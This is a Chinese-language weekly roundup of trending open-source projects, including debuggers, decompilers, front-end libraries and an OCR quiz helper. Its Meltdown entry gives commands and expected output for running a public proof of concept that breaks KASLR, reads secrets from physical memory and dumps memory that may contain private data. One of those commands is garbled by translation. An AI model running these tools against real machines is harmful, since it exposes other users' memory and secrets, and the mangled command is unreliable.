大家周一好,還在上學的小夥伴們期末考試考完了嗎?期末考試考完了學習計劃就完了嗎?我知道你不會的,你的心裡只有學習沒有女朋友。書山有路勤為徑,代碼沒寫完不行。還在上班的夥伴們離過年還有整整一個月,放假還早,時間不少,冬天外面冷,呆在室內寫寫代碼,看看項目,何樂而不為呢?(滑稽表情)
本周開源周報流行開源項目榜中榜前十名項目有 x64dbg 給 Windows 系統的開源調試器,反編譯apk的 JADX,反編譯 Java 的 Byte-code viewer,彙編工具 asm-dude,可以說是反編譯器扎堆了,前一陣子 Intel 處理器(後來證實 AMD 、ARM、NVIDIA等處理器部分也有)爆出來的 meltdown 等漏洞把大家折騰得慘烈無比,全球用戶一片哀嚎,不過很快就有跟它有關的開源項目啦,並且熱度不減;而關注前端的朋友,可以看看厲害的 Nerv庫,它提供了與React 16一致的使用方式與API,並且擁有更高的性能表現、更小的包大小以及更好的瀏覽器兼容性。
本周流行開源項目榜中榜開源趨勢 Top 10
0. x64dbg
一個為32位和64位 windows 系統準備的開源調試器
這個調試器在打開程序和程序啟動的入口處都設置了斷點,從而可以讓使用者觀察程序的狀態,比如 CPU 的地址及其地址的內容;內存的地址,大小,頁面信息,內容,類型等等等等。幾乎可以讓使用者在運行程序的同時完全的監視這個程序,還可以通過在程序中設置斷點來進一步觀察運行狀態。
特點:
1.可以全功能的調試 dll 和 exe 文件
2.附帶跳轉箭頭的 IDA 側邊欄和 IDA 指令標記筆
3.可動態識別模塊與字元串
4.快速的反彙編程序
5.擁有用於注釋,標籤等功能的用戶資料庫
6.支持插件
7.擁有可擴展,可調試的腳本語言,便於自動化
1. JADX
簡介:一個能夠反編譯二進位和APK文件的開源軟體,同時擁有GUI和命令行兩種操作方式。
用法:
Windows下:來到build/jadx/bin目錄下,雙擊jadx-gui.bat,然後選擇要反編譯的apk即可。
命令行:把apk拷貝到bin目錄下,命令行cd到bin目錄下:鍵入jadx -d out xxx.apk會把編譯後的源碼丟到out目錄下。
優勢:
- 相比於傳統的安卓反彙編方式(apktool+dex2jar+jd-gui)更加集成化。
- 可以直接導出項目源代碼為Gradle項目,方便使用 Android Studio 再次開發。
2.workerize
workerize 能將模塊移動到 Web Worker 中,自動將導出的函數反應為非同步代理
特點:
- 將一個小型的專門構建的RPC實現捆綁到您的應用程序中
- 如果導出的模塊方法已經是非同步的,那麼簽名是不變的
- 支持同步和非同步工作者功能
- 與非同步/等待美妙地工作
- 只需900位元組的壓縮ES3
用法:
傳遞一個函數或一個包含代碼的字元串
let worker = workerize(` export function add(a, b) { // block for half a second to demonstrate asynchronicity let start = Date.now(); while (Date.now()-start < 250); return a + b; } `); (async () => { console.log('3 + 9 = ', await worker.add(3, 9)); console.log('1 + 2 = ', await worker.add(1, 2)); })();
3. Bytecode Viewer
Bytecode-viewer 是一個由五個不同的Java 反編譯器,兩個位元組碼編輯器,一個Java 編譯器,Android APK等組成的工具。
主要特點:
1. Smali / BakSmali集成 - 可以通過smali編輯類文件/ dex文件。
2. APK / DEX支持 - 使用Dex2Jar和Jar2Dex,可以輕鬆載入和保存APK。
3. Java反編譯器 - 利用FernFlower,Procyon和CFR進行反編譯。
4. 每個反編譯器/編輯器/查看器都是可切換的,也可以自定義每個窗格上顯示的內容。
5. 全功能的搜索系統 - 通過字元串,函數,變數等等搜索。
6. 內置的插件系統 - (惡意代碼掃描器,字元串解密器等)
更多信息:https://wiki.bytecode.club/Bytecode_Viewer
社區地址:https://the.bytecode.club/forumdisplay.php?fid=69
關於Bytecode俱樂部:
這是一個專註於逆向工程的社區,他們嘗試以Java / Android為目標,但也包括其他語言/平台。為支持和免費開放源代碼應用感到自豪。
4. Nerv
Nerv是一款基於虛擬DOM技術的JavaScript(TypeScript)庫,它提供了與React 16一致的使用方式與API,並且擁有更高的性能表現、更小的包大小以及更好的瀏覽器兼容性。
特性:
- 與React保持一致的API,不需要 nerv-compat
- 久經戰鬥洗禮,已經應用於京東PC首頁 與 京東旗下TOPLIFE
- 強勁的性能
- IE8兼容
- 更小尺寸, 9Kb gziped
- 支持客戶端與服務端同構渲染
- 支持React 16的新特性, 例如錯誤處理, Portals, 自定義DOM屬性等等.
熟悉react框架的人可以直接上手nerv,從React切換成使用Nerv非常方便,只需要將react 和 react-dom 重命名成 nervjs,而不需要任何的代碼變動。
5. Eel
Eel是一個小型的Python(目前僅用於Python3)庫,用於製作簡單的類似Electron的HTML / JS GUI應用程序
它擁有一個本地的網路伺服器,然後讓你用Python聲明函數,以便從Javascript調用它們,反之亦然。
它的設計目的在於編寫短而簡單的GUI應用程序。
Eel不像Electron或Cefpython那樣完全成熟 - 它可能不適合做像Atom這樣全面的應用程序 - 但它非常適合使你自己使用的小實用程序腳本的GUI相當。
6. algorithms_and_data_structures
該項目是一份 c++描述的演算法與數據結構問題的解決方案的集合,當你遇到難題時,來這裡尋找說不定能有意外的收穫。另外,要補充的是,該項目採用的是GNU通用公共許可證,那麼,你能幹嘛不能幹嘛就不必我贅述了吧。
當前分類:
- 鏈表問題
- Include 部分:提供了一些常用演算法和大部分數據結構的泛型實現
- 位操作問題
- 《程序員面試金典》中的部分問題
- 動態規劃中的一些問題
- 關於樹的問題
- 字元串問題
- 常見的數據結構與邏輯問題
- 數學問題
- 堆棧問題
- 排序與搜索問題
- 圖形問題
- 貪心演算法問題
- LeetCode上的一些問題
7. meltdown
一個新發現的bug,提供了多個演示視頻,演示視頻使用的是Ubuntu 16.04以及Intel i7,但他們應該可以工作在任何基於2010年以後的現代Intel CPU的Linux系統上。為了取得最好的演示效果,最好使用支持Intel TSX的快速CPU
鏈接:
這個庫包含了多個應用程序來展示Meltdown bug. 技術信息參考:https://meltdown.help/meltdown.pdf
操作步驟:
1、對於支持RPM的系統:首先安裝glibc-static
sudo yum install -y glibc-static
演示
1#
首先測試第一個代碼,如果其不工作,則其他的演示也將失敗,原因請參考github網站
make
taskset 0x1 ./test
如果看到以下代碼則表示可以運行
Expect: Welcome to the wonderful world of microarchitectural attacks
Got: Welcome to the wonderful world of microarchitectural attacks
2# 破壞kaslr
輸入:
make
sudo taskset 0x1 ./kaslr
等待幾秒鐘後你將看到
[+] Direct physical map offset: 0xffff880000000000
3#可靠性測試
如果你有KASLR啟用,第一個參數是physical map的偏移量。否則,程序不需要參數。
make
sudo taskset 0x1 ./reliability 0xffff880000000000
等待幾秒鐘後你將看到
[-] Success rate: 99.93% (read 1354 values)
4#讀物理內存
提供了一個可讀的測試工具(secret)
make
sudo ./secret
等待幾秒鐘後你將看到
[+] Secret: If you can read this, this is really bad
[+] Physical address of secret: 0x390fff400
[+] Exit with Ctrl+C if you are done reading the secret
讓secret繼續運行並開始physical_reader,如果你有沒KASLR啟用,第二個參數是physical map的偏移量。否則,程序不需要參數。
taskset 0 x1。 / physical_reader 0 0 xffff880000000000 x390fff400
等待幾秒鐘後你將看到:
[+] Physical address : 0x390fff400
[+] Physical offset : 0xffff880000000000
[+] Reading virtual address: 0xffff880390fff400
If you can read this, this is really bad
5#轉存內存
首先運行給的測試工具memory_filler,來給內存填充可讀信息。第一個變數是要填充的數量(以千兆位元組為單位)
make
./memory_filler 9
接下來運行工具memdump
執行memory_filler之前,您應該看到一些字元串片段。如果你有Firefox和Chrome運行多個標籤,您還會看到最近點開或關閉的網站。
第一個參數是轉儲應該開始的物理地址。如果你有沒KASLR啟用,第二個參數是physical map的偏移量。
taskset 0x1 ./memdump 0x240000000 0xffff880000000000 # start at 9 GB
你將獲得16進位顯示的一部分內存(可能包含隱私文件)
8. Web Developer Roadmap
作者應一位老教授的要求給老教授的學生做了一份對前景的分析,給迷茫的小朋友們介紹了通向成為一個前端,後台或者是一個DevOps(開發軟體、技術運營和質量保障(QA)三者的交集)的路徑與其對應的技術,以及通向任一方向前應掌握的東西。
作者還打算做一份相關資源的圖表,但還未實施;同時作者很歡迎讀者詢問,並與他一起對這些圖表做出改進
作者製作圖表的工具:https://balsamiq.com/products/
9. TopSup
簡介:使用截圖,文字識別,搜索的小輔助。
使用步驟 (谷歌 Tesseract)
Android
安裝ADB
下載地址:https://adb.clockworkmod.com/ 安裝完後插入安卓設備且安卓已打開 USB 調試模式,終端輸入 adb devices ,顯示設備號則表示成功。我手上的機子是堅果 pro1,第一次不成功,查看設備管理器有嘆號,使用 handshaker 載入驅動後成功,也可以使用豌豆莢之類的試試。
安裝python3
安裝所需python包
命令行:
pip install pytesseract
pip install pillow
pip install requests
安裝谷歌Tesseract
Windows下鏈接: 推薦使用安裝版,在安裝時選擇增加中文簡體語言包
- 安裝版:
https://digi.bib.uni-mannheim.de/tesseract/tesseract-ocr-setup-3.05.01.exe
- 免安裝版:
https://github.com/parrot-office/tesseract/releases/download/3.5.1/tesseract-Win64.zip 免安裝版需要下載中文語言包
其他系統: https://github.com/tesseract-ocr/tesseract/wiki
修改 GetTitleTessAndroid 代碼相應目錄信息(默認安裝則無需修改)
# tesseract 路徑
pytesseract.pytesseract.tesseract_cmd = 'C:\\Program Files (x86)\\Tesseract-OCR\\tesseract'
# 語言包目錄和參數
tessdata_dir_config = '--tessdata-dir "C:\\Program Files (x86)\\Tesseract-OCR\\tessdata" --psm 6'
運行腳本
python GetQuestionTessAndroid.py 會自動識別文字並打開瀏覽器
註: 可以用 GetImgTool.py 調整題目截取位置
可以到
https://github.com/Skyexu/TopSup/blob/master/common/devicesCutConfig.txt
查看部分手機截圖設置 若屏幕解析度不同,請在 ocr.py 中自行修改代碼即可
# 切割題目和選項位置,左上角坐標和右下角坐標,自行測試解析度
question_im = image.crop((50, 350, 1000, 560)) # 堅果 pro1
choices_im = image.crop((75, 535, 990, 1150))
# question = img.crop((75, 315, 1167, 789)) # iPhone 7P
其它
- Tesseract 參數,若識別有問題可以更改參數解決:
https://github.com/tesseract-ocr/tesseract/blob/master/doc/tesseract.1.asc
- 三種方法可以選擇,可以加#注釋掉只保留一個方法
10. asm-dude
Asm-dude 是一個應用於 Visual Studio 2015/2017 彙編代碼編寫功能以及反編譯功能的輔助工具。他擁有將語法高亮顯示並提供說明(指向、作用),這個功能對x86指令集和x64,SSE、AVX、avx2、Xeon Phi(Knights Corner),最常用的彙編指令的和一些NASM指令提供支持;並支持文檔鏈接的快速跳轉,自動生成部分簡單代碼,對代碼進行摺疊,自動提示參數,標籤校驗等功能。
除此之外,它的2.0版本擁有彙編模擬器功能,模擬器提供Multi-Valued Logics、顯示登記內容、多種錯誤檢查(使用未定義的值,冗餘指令,不可能觸發的邏輯判斷指令,語法錯誤)等功能。
該工具仍在持續更新完善,如果你在使用這個工具時有任何疑問與建議,都可以在github中向作者提出。
好了,本期開源周報到這裡就結束了,歡迎下周同一時間再見。